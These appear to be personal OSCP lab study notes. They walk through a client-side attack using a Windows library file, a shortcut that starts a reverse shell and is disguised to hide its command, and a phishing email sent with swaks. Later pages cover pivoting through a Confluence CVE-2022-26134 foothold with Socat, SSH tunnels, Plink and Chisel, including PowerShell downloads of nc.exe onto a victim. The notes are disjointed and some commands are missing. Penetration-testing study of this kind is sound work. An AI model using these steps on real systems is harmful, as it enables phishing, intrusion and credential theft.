/cert:ignore {This option tells xfreerdp to ignore certificate validation issues. It's useful for bypassing warnings about untrusted or self-signed certificates on the remote desktop server.}
/drive:SHARE,/srv/tsclient or can be /webdav {Maps a local directory to a drive on the remote Windows computer for file sharing and accessing it. In this case, /srv/tsclient {dir in our machine}
after doing this just copy the file from the destination in windows machine > go to my pc > share AK > paste it and boom you got the file :))))
we'll leverage a two-stage client-side attack. In the first stage, we'll use Windows library files to gain a foothold on the target system and set up the second stage. In the second stage, we'll use the foothold
to provide an executable file that will start a reverse shell when double-clicked.
we'll first set up a WebDAV share on our Kali system. We'll use WsgiDAV2 as the WebDAV server to host and serve our files. We can use pip3 to install WsgiDAV.
--host, {which specifies the host to serve from. We'll listen on all interfaces with 0.0.0.0}
--port=80, {listening port}
--auth=anonymous, {disable authentication to our share with}
--root /home/kali/webdav/ {Finally, we'll set the root of the directory of our WebDAV share with }
Now once you're in the Windows machine you'd see VS code open it and click on File > New Text File and name it as config.Library-ms {after saving you'd see it becoming an icon on desktop.}
Now that we have a working Windows library file, we'll need to create the shortcut file. The goal is to start a reverse shell by putting the .lnk shortcut file on the WebDAV share for the victim to execute.
OSCP Page 74
Now that we have a working Windows library file, we'll need to create the shortcut file. The goal is to start a reverse shell by putting the .lnk shortcut file on the WebDAV share for the victim to execute.
If we expect that our victims are tech-savvy enough to actually check where the
shortcut files are pointing, we can use a handy trick. Since our provided command
looks very suspicious, we could just put a delimiter and benign command behind it
to push the malicious command out of the visible area in the file's property menu. If
a user were to check the shortcut, they would only see the benign command.
save it as auto_configuration and now it's time to take the file back in our machine so that we can put those file into otherVM from our webdav dir we created earlier :
as we already connected with our xfree rdp cmd just copy both files from the desktop and drop it in our share :))) {cmd we used is below:}
1st way is if you already have access to put the file onto the VM without any restriction then follow these steps:-))
Before doing anything do check this cmd is getting incoming traffics or not:)
Now on our Kali machine, let's start a Python3 web server on port 8000 where powercat.ps1 is located and start a Netcat listener on port 4444.
wait for 1 min and you'd get a shell once victim click on the file;)
2nd way is if you don't have access and while trying the smbclient method you get this error:)
then you may have to enumerate the ip in-depth to maybe get some juicy pdf files with ffuf and exiftool so you may get some emails and passwords or usernames
so for let's suppose we got 2 mail ID's and dave.wizard@supermagicorg.com and test@supermagicorg.com:test along with the password for one user so we can use this info to send the mail over to david:))
sudo swaks -t dave.wizard@supermagicorg.com --from test@supermagicorg.com -ap --attach config.Library-ms --server 192.168.198.199 --body body.txt --header "Subject: Problems" --suppress-data
OSCP Page 75
fill in the details and wait for david to click on the file and before this do start a python3 server and listener which we did earlier and wait for sometime
OSCP Page 76
PORT FORWARD + SSH TUNNELING
Sunday, February 11, 2024 6:18 PM
SIMPLE EXPLANATION:->>
Imagine you want to talk to your friend who lives in a house (PGDATABASE01) inside a gated community. You don't have direct access to that community, but you
have another friend (CONFLUENCE01) who lives just outside the gate and can pass messages for you.
You decide to use a walkie-talkie (Socat) to communicate. You tell your outside friend, "If I send a message to your walkie-talkie on channel 2345, please pass it on
to our other friend's walkie-talkie on channel 5432."
Now, whenever you talk into your walkie-talkie to channel 2345, your outside friend receives it and immediately re-sends whatever you said to your inside
friend's walkie-talkie on channel 5432. To your inside friend, it's as if you're directly talking to them on channel 5432, even though you're actually using channel
2345 and having your messages forwarded.
To gain access to CONFLUENCE01, we need to leverage the command execution vulnerability in the Confluence web application to get a reverse shell. After
discovering that the Confluence web application is vulnerable to CVE-2022-26134, we'll find a blog post from Rapid71 that includes a cURL2 command containing
a proof-of-concept3 payload that claims to exploit the vulnerability and return a reverse shell.
The verbose (-v) curl request is being made to http ://10.0.0.28:8090, which we assume is the blogpost author's vulnerable Confluence server. After this, the URL
path4 looks more interesting. We observe that a lot of the characters in it are URL encoded,5 so we need to URL decode them to get a clearer sense of what the
payload actually does.
After URL decoding the path, the function of the payload is clearer.
We want to open TCP port 2345 on the WAN interface of CONFLUENCE01, then connect to that port from our Kali machine. We want all the packets that we send
to this port to be forwarded by CONFLUENCE01 to TCP port 5432 on PGDATABASE01. Once we set up our port forward, connecting to TCP port 2345 on
CONFLUENCE01 will be exactly like connecting directly to TCP port 5432 on PGDATABASE01.
On CONFLUENCE01, we'll start a verbose (-ddd) Socat process. It will listen on TCP port 2345 (TCP-LISTEN:2345), fork into a new subprocess when it receives a
connection (fork) instead of dying after a single connection, then forward all traffic it receives to TCP port 5432 on PGDATABASE01 (TCP:10.4.50.215:5432).
NOTE:-We'll listen on port 2345 as it's not in the privileged port range (0-1024), which means we don't need elevated privileges to use it.
OSCP Page 77
The network is now set up like the following diagram:
With the Socat process running, we can run psql on our Kali machine, specifying that we want to connect to CONFLUENCE01 (-h 192.168.50.63) on port 2345 (-p
2345) with the postgres user account (-U postgres). When prompted, we will enter the password, and once connected, we can run the \l command to list the
available databases.
psql -h 192.168.50.63 -p 2345 -U postgres {add the ip of machine you set socat on;))}
Success! We've connected to the PostgreSQL database through our port forward. We'll also find that we have access to the confluence database.
We might suspect that these passwords are reused in other places throughout the network. After some more enumeration of the internal network, we'll find
PGDATABASE01 is also running an SSH server. Let's try these credentials against this SSH server. With our new port forwarding skill, we can create a port forward
on CONFLUENCE01 that will allow us to SSH directly from our Kali machine to PGDATABASE01.
First, we need to kill the original Socat process listening on TCP port 2345. We'll then create a new port forward with Socat that will listen on TCP port 2222 and
forward to TCP port 22 on PGDATABASE01.
We'll then use our SSH client to connect to port 2222 on CONFLUENCE01, as though we are connecting directly to port 22 on PGDATABASE01. We can use the
database_admin user, and the password we just cracked using Hashcat.
Success! The database_admin credentials have been reused here. We have managed to connect to the SSH server on PGDATABASE01 using the credentials for
database_admin we found in the PostgreSQL database through the port forward we set up on CONFLUENCE01 with Socat.
NOTE:It should also be noted that Socat is not the only way to create port forwards on *NIX hosts.
OSCP Page 78
#SSH LOCAL PORT FORWARDING:
We got access to pg-db and found it has an another subnet on that which is only accessible by pg-db itself so we need to have an reverse ssh forwarding from pg-
db to confluence and we can do that from confluence itself lol it's tricky but let's understand the cmd below:
Now let's hop to pg-db as we need to have the ip of the other subnet present on pg and also the open port of that ip to create a reverse ssh forwarding:
ssh database_admin@10.4.50.215
ip addr
ip route
We find that PGDATABASE01 is attached to another subnet, this time in the 172.16.50.0/24 range. We don't find a port scanner installed on PGDATABASE01;
however, we can still do some initial reconnaissance with the tools that are available.
Let's write a Bash for loop to sweep for hosts with an open port 445 on the /24 subnet. We can use Netcat to make the connections, passing the -z flag to check
for a listening port without sending data, -v for verbosity, and -w set to 1 to ensure a lower time-out threshold.
Most of the connections time out, suggesting that there's nothing there. In contrast, we'll notice that PGDATABASE01 (at 172.16.50.215) actively refused the
connection. We also find that there is a host on the subnet, which has TCP port 445 open: 172.16.50.217!
Let's create the SSH connection from CONFLUENCE01 to PGDATABASE01 using ssh, logging in as database_admin. We'll pass the local port forwarding argument
OSCP Page 79
Let's create the SSH connection from CONFLUENCE01 to PGDATABASE01 using ssh, logging in as database_admin. We'll pass the local port forwarding argument
we just put together to -L, and use -N to prevent a shell from being opened.
ssh -N -L <broadcasting which means open to listen all the traffic from confluence>:<confluence port>:<unknown ip>:<unknown port> database_admin@<pg-
ip>
-0.0.0.0:4455 specifies that the local machine will listen on port 4455 and is accessible from any interface (0.0.0.0 means an y IP address on the local machine can access this port).
Since this reverse shell from CONFLUENCE01 is now occupied with an open SSH session, we need to catch another reverse shell from CONFLUENCE01. We can
do this by listening on another port and modifying our CVE-2022-26134 payload to return a shell to that port.
Once we have another reverse shell from CONFLUENCE01, we can confirm that the ssh process we just started from our other shell is listening on 4455 using
ss.
ss -antlpu
It is - great! Connecting to port 4455 on CONFLUENCE01 will now be just like connecting directly to port 445 on 172.16.50.217. We can review the connection
flow in the following diagram.
We can now interact with port 4455 on CONFLUENCE01 from our Kali machine.
OSCP Page 80
what if you get an ssh_local_client file???
SOCKS Proxy: Dynamic port forwarding turns your local machine into a SOCKS proxy server. This means it can dynamically forward traffic to multiple destinations
without needing a direct mapping for each service.
Configuration: You only need to configure it once to set up the proxy. After that, any application configured to use the SOCKS proxy can dynamically route its
traffic through the tunnel. You don't need to specify individual ports or destinations beyond the initial setup.
Use Case: It's often used to securely bypass firewall restrictions or for privacy reasons, as it can encrypt your traffic and route it through an SSH server. It's useful
for cases where you need flexible, secure access to multiple services, especially in environments with restrictive network policies.
From a single listening port on the SSH client, packets can be forwarded to any socket that the SSH server host has access to.
This means we will still be able to access the SMB port on HRSHARES, but we can also access any other port on any other host that PGDATABASE01 has access to,
through this single port. However, in order to take advantage of this flexibility, we need to ensure that whatever software we use can send packets in the correct
SOCKS protocol format.
As before, if we wanted to manually confirm that port 9999 is listening on CONFLUENCE01, we would exploit the Confluence vulnerability again to get another
reverse shell (since our existing shell is tied up with the SSH port forward command), then run ss in that shell.
As we did earlier, let's connect to port 445 on HRSHARES. However, this time we will do it through the SOCKS proxy port created by our SSH dynamic port forward
command.
To accomplish this, we'll want to use smbclient again. However, we find that smbclient doesn't natively provide an option to use a SOCKS proxy.
To use smbclient in this situation, we'll leverage Proxychains.4 Proxychains is a tool that can force network traffic from third party tools over HTTP or SOCKS
proxies. As the name suggests, it can also be configured to push traffic over a chain of concurrent proxies.
OSCP Page 81
Let's try Proxychains with smbclient. Proxychains uses a configuration file for almost everything, stored by default at /etc/proxychains4.conf. We need to edit this
file to ensure that Proxychains can locate our SOCKS proxy port, and confirm that it's a SOCKS proxy (rather than any other kind of proxy).
add <confluence_ip>:<socks5 proxy port specified in ssh cmd above > /etc/proxychains4.conf at last line;))
Now we can list shares of HRSHARES via smb through proxychains by the below cmd:
Let's do an nmap scan for top 20 ports on unknown host we found to enumerate more by appending proxychains before nmap cmd
By default, Proxychains is configured with very high time-out values. This can make port scanning really slow. Lowering the tcp_read_time_out and
tcp_connect_time_out values in the Proxychains configuration file will force Proxychains to time-out on non-responsive connections more quickly. This can
dramatically speed up port-scanning times.
SSH Remote Port Forwarding allows you to take traffic coming to a port on an SSH server (the mailbox outside) and forward it through your SSH connection to a
specific destination within a private network (delivering the letter inside the gated community).
You set this up from inside the network by connecting to an SSH server outside and specifying that incoming connections to a certain port on the server should be
tunneled back through your connection to a specific place inside your network.
However, CONFLUENCE01 does have an SSH client, and we can set up an SSH server on our Kali machine. We can create a port forwarding setup much like the
following diagram:
We can connect from CONFLUENCE01 to our Kali machine over SSH. The listening TCP port 2345 is bound to the loopback interface on our Kali machine. Packets
sent to this port are pushed by the Kali SSH server software through the SSH tunnel back to the SSH client on CONFLUENCE01. They are then forwarded to the
PostgreSQL database port on PGDATABASE01.
We can check that the SSH port is open as we expected using ss.
sudo ss -ntplu
OSCP Page 82
In order to connect back to the Kali SSH server using a username and password you may have to explicity allow password-based authentication by setting
PasswordAuthentication to yes in /etc/ssh/sshd_config.
The SSH remote port forward option is -R, and has a very similar syntax to the local port forward option. It also takes two socket pairs as the argument. The
listening socket is defined first, and the forwarding socket is second.
In this case, we want to listen on port 2345 on our Kali machine (127.0.0.1:2345), and forward all traffic to the PostgreSQL port on PGDATABASE01
(10.4.50.215:5432).
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4 {listening port is defined first and then we define forwarding port or socket;))}
We can confirm that our remote port forward port is listening by checking if port 2345 is open on our Kali loopback interface.
It is! Our port forward is now set up as we intended, with the SSH port forward command running on CONFLUENCE01.
On our Kali machine, we will use psql, passing 127.0.0.1 as the host (-h), 2345 as the port (-p), and using the database credentials of the postgres user (-U) we
found earlier on CONFLUENCE01.
OSCP Page 83
sudo systemctl start ssh
sudo nano /etc/proxychains4.conf >> turn on passwordauthentication {just in case if it doesn't work as inteneded else no need of this;))}
sudo nano /etc/proxychains4.conf >> add socks5 127.0.0.1:<dynamic listening port> {in the last line}
or
#EXTRA TOOLS:{PLINK}
Administrators may want to avoid leaving OpenSSH on their Windows machines, so we're not guaranteed to discover an OpenSSH client. Even if we find ourselves
on a recent version of Windows, the network administrators may have removed it.
But they still need remote admin tools. Before OpenSSH was so readily available on Windows, most network administrators' tools of choice were PuTTY1 and its
command-line-only counterpart, Plink.2
Let's get familiar with Plink by using it in the lab in a revised scenario. In this scenario, we find that MULTISERVER03 now has a web application on TCP port 80
exposed. All other inbound ports are blocked by a firewall, so RDP is no longer available either. The layout is much like the following diagram:
sudo systemctl start apache2 {start an apache2 server for hosting nc.exe file }
powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe {Downloading nc in tmp folder in victim's machine}
powershell wget -Uri http://192.168.118.4/plink.exe -OutFile C:\Windows\Temp\plink.exe {copy that too in the apache2 folder for hosting it}
sudo nano /etc/ssh/sshd_config {turn on pass_auth and keep it yes also don't forget to start your ssh lol;))}
OSCP Page 84
sudo nano /etc/ssh/sshd_config {turn on pass_auth and keep it yes also don't forget to start your ssh lol;))}
C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4 {Download it from our machine}
In much the same way that it's not possible to accept the SSH client key cache prompt from a non-TTY shell on Linux, with some very limited shells with Plink on
Windows, we also won't be able to respond to this prompt. An easy solution in that case would be to automate the confirmation with cmd.exe /c echo y, piped
into the plink.exe command. This will emulate the confirmation that we usually type when prompted.
The entire command would be: cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.41.7.
ss -ntplu {checking if port got open in our machine by the above cmd or not}
Typical use. Examples assume Kali or other attack box is 10.10.14.3, client is running from 10.10.10.10.
From victim:
Command Notes
chisel client 10.10.14.3:8000 R:80:127.0.0.1:80 Listen on Kali 80, forward to localhost port 80 on client
chisel client 10.10.14.3:8000 R:4444:10.10.10.240:80 Listen on Kali 4444, forward to 10.10.10.240 port 80
chisel client 10.10.14.3:8000 R:socks Create SOCKS5 listener on 1080 on Kali, proxy through client
for socks you need to put socks5 127.0.0.1:1080 in proxychains4.conf file at the end.
OSCP Page 85
OSCP Page 86